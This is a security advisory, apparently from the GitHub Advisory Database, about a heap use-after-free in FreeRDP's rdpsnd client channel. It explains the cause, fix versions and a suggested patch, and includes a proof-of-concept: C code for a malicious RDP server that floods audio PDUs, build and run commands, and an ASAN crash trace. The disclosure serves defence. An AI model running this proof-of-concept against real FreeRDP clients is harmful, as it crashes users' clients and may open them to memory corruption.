Use-After-Free in FreeRDP Static rdpsnd Disconnect Path During Asynchronous Playback
What fixes it
- 3.32.0FreeRDP, cGitHub
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
FreeRDP's static rdpsnd client channel can use freed audio state after a server disconnects while asynchronous playback is processing queued audio PDUs. The disconnect callback frees ClientFormats, ServerFormats, and the audio device without first joining play_thread, causing a client-side heap-use-after-free (CWE-416).
Tested commit: 239783791ddfc81dfb127b892c21da4ce85fe4ac. Tested version: 3.30.1-dev0. Reproduction used the project's OSS-Fuzz Docker build environment.
Technical Details
Unless FreeRDP_SynchronousStaticChannels is enabled, static rdpsnd uses asynchronous playback (channels/rdpsnd/client/rdpsnd_main.c:1623-1626). Received PDUs are posted to the message queue at :1187-1192 and consumed by play_thread at :1443-1482.
When CHANNEL_EVENT_DISCONNECTED is received, rdpsnd_virtual_channel_event_disconnected (:1337-1368) closes the device, calls cleanup_internals, and frees the device. cleanup_internals frees ClientFormats and ServerFormats and clears their pointers (:1313-1330). However, this path never calls free_internals.
free_internals is the function that calls rdpsnd_terminate_thread; that function posts WMQ_QUIT, waits for play_thread, and only then frees the message queue (:1296-1311, :1382-1398). The later CHANNEL_EVENT_TERMINATED callback is therefore too late to protect the interval between disconnect cleanup and thread termination.
During this interval, play_thread can process a queued Wave2 PDU through rdpsnd_recv_wave2_pdu (:704-733). The function checks NumberOfClientFormats, obtains &ClientFormats[wFormatNo], and dereferences the format. It then reaches rdpsnd_treat_wave, which accesses the format and invokes device->FormatSupported, device->PlayEx, or device->Play (:608-668). The check and subsequent use are unsynchronized, so the bounds check does not prevent the use-after-free.
The dynamic-channel close path already has the correct ordering: cleanup, free_internals including the thread join, and device destruction (:1708-1733).
Impact
A malicious RDP server can cause the client process to read freed heap memory and invoke audio-device callbacks through freed state. The PoC directly demonstrates a client crash and memory-safety violation. Heap corruption may enable more severe exploitation, but code execution was not demonstrated. No special client privilege or high-risk opt-in is required when asynchronous static audio playback is enabled.
Proof of Concept
The relevant server-side payload generator used by the tested harness is:
#include <freerdp/channels/rdpsnd.h>
#include <winpr/synch.h>
#define SAMPLE_SIZE 2000
static AUDIO_FORMAT format = {
.wFormatTag = WAVE_FORMAT_PCM,
.nChannels = 2,
.nSamplesPerSec = 44100,
.nBlockAlign = 4,
.wBitsPerSample = 16,
.cbSize = 0,
};
static BYTE sample[SAMPLE_SIZE];
static DWORD WINAPI flood_wave2(LPVOID arg)
{
RdpsndServerContext* rdpsnd = (RdpsndServerContext*)arg;
UINT16 block = 0;
for (;;)
rdpsnd->SendSamples2(rdpsnd, 0, sample, sizeof(sample), block++, 0);
return 0;
}
static void activated(RdpsndServerContext* rdpsnd)
{
if (rdpsnd->SelectFormat)
rdpsnd->SelectFormat(rdpsnd, 0);
CreateThread(NULL, 0, flood_wave2, rdpsnd, 0, NULL);
}
/* In the server's PostConnect callback: */
rdpsnd->use_dynamic_virtual_channel = FALSE;
rdpsnd->server_formats = &format;
rdpsnd->num_server_formats = 1;
rdpsnd->src_format = &format;
rdpsnd->Activated = activated;From the repository checkout inside the project's OSS-Fuzz Docker build environment, build the instrumented client and Sample server:
cmake -G Ninja \ -C ci/cmake-preloads/config-oss-fuzz.cmake \ -DCMAKE_BUILD_TYPE=Debug \ -DBUILD_SHARED_LIBS=OFF \ -DCMAKE_INTERPROCEDURAL_OPTIMIZATION=OFF \ -DWITH_CLIENT=ON \ -DBUILD_FUZZERS=OFF \ -DBUILD_TESTING=OFF \ -DOSS_FUZZ=ON \ -S . -B build cmake --build build --parallel openssl req -x509 -newkey rsa:2048 -nodes \ -keyout server.key -out server.crt -days 1 -subj /CN=localhost
Run the malicious Sample server, connect with the ASAN client, and repeatedly tear down the server-side transport while the Wave2 flood is active:
Xvfb :100 -screen 0 1024x768x16 >xvfb.log 2>&1 & DISPLAY=:100 ./build/server/Sample/sfreerdp-server \ --port=3390 --cert=server.crt --key=server.key >rdpsnd-server.log 2>&1 & ASAN_OPTIONS='detect_leaks=0:halt_on_error=1:abort_on_error=1' \ timeout 10 ./build/client/X11/xfreerdp \ /v:localhost:3390 /sec:tls /cert:ignore /u:user /p:pass \ /audio-mode:0 /sound:sys:fake /log-level:DEBUG
The first 100-attempt trial hit on attempt 40; a validation trial hit on the first attempt. The observed ASAN report was:
ERROR: AddressSanitizer: heap-use-after-free
READ of size 2 ... thread T3
#0 rdpsnd_detect_overrun channels/rdpsnd/client/rdpsnd_main.c:565
#1 rdpsnd_treat_wave channels/rdpsnd/client/rdpsnd_main.c:638
#2 rdpsnd_recv_wave2_pdu channels/rdpsnd/client/rdpsnd_main.c:733
#3 rdpsnd_recv_pdu channels/rdpsnd/client/rdpsnd_main.c:828
#4 play_thread channels/rdpsnd/client/rdpsnd_main.c:1479
freed by thread T2 here:
#1 cleanup_internals
channels/rdpsnd/client/rdpsnd_main.c:1321
#2 rdpsnd_virtual_channel_event_disconnected
channels/rdpsnd/client/rdpsnd_main.c:1360
#3 freerdp_channels_disconnect
previously allocated by thread T3 here:
#1 rdpsnd_select_supported_audio_formats
channels/rdpsnd/client/rdpsnd_main.c:175
SUMMARY: AddressSanitizer: heap-use-after-freeSuggested Fix
In rdpsnd_virtual_channel_event_disconnected, call free_internals(rdpsnd) after cleanup_internals(rdpsnd) and before device->Free. This joins play_thread before the format arrays or device are released and matches the ordering used by rdpsnd_on_close. Ensure the disconnect and termination callbacks remain idempotent for repeated lifecycle events.
Text from GitHub Advisory Database
Affected versions 1
- FreeRDP, c<= 3.31.1GitHub